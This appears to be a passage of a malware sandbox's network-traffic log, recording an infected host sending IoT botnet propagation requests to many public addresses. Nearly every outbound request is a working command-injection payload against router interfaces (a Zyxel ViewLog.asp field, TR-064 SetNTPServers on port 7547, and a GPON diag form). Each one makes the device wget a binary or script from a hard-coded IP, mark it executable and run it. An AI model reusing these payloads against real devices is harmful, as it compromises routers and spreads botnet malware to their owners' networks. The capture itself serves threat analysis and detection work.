20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	42670	200.182.101.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.638065100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:29.848828077 CET	182	IN	HTTP/1.1 404 Not Found Content-Length: 0 Server: HTTPD Date: Thu, 21 Mar 2024 04:17:29 GMT Connection: close Content-Type: text/html X-Frame-Options: SAMEORIGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	39908	189.78.10.87	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.713561058 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:29.941984892 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="YmZiMzg1MzQ6NDJkZGI0NTQ6MTRhZGYxM2E=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 21, 2024 05:17:30.603652954 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="YmZiMzg1MzQ6NDJkZGI0NTQ6MTRhZGYxM2E=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 21, 2024 05:17:31.919440031 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="YmZiMzg1MzQ6NDJkZGI0NTQ6MTRhZGYxM2E=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	39918	189.78.10.87	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:29.935316086 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:30.948901892 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NzU3NTVhNjM6YWJkMGQ5ZDI6YmJiMTY4Mjc=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 21, 2024 05:17:31.642422915 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NzU3NTVhNjM6YWJkMGQ5ZDI6YmJiMTY4Mjc=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 21, 2024 05:17:33.025476933 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NzU3NTVhNjM6YWJkMGQ5ZDI6YmJiMTY4Mjc=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"
Mar 21, 2024 05:17:35.813715935 CET	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NzU3NTVhNjM6YWJkMGQ5ZDI6YmJiMTY4Mjc=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	35180	116.14.193.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.050858974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	46108	178.202.90.109	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.216980934 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:30.898832083 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:31.113260031 CET	317	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 f9 05 a9 79 45 a9 c5 25 95 c8 f2 fa 30 13 f5 a1 ae 01 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f(HML),I310Q/Qp/K&T$dCAfAyyE%0tc0
Mar 21, 2024 05:17:31.113521099 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	38320	89.214.143.70	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.408678055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	38350	89.214.143.70	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.654912949 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	39668	212.41.22.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.666819096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	52994	5.238.235.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.666846991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	39192	178.42.129.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.666918039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	33590	94.141.5.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.667025089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	58714	169.59.228.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.928798914 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:31.353133917 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:31.479065895 CET	331	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0
Mar 21, 2024 05:17:31.479084969 CET	286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	35196	116.14.193.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:30.998640060 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:31.353122950 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	42960	200.90.146.143	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.051583052 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
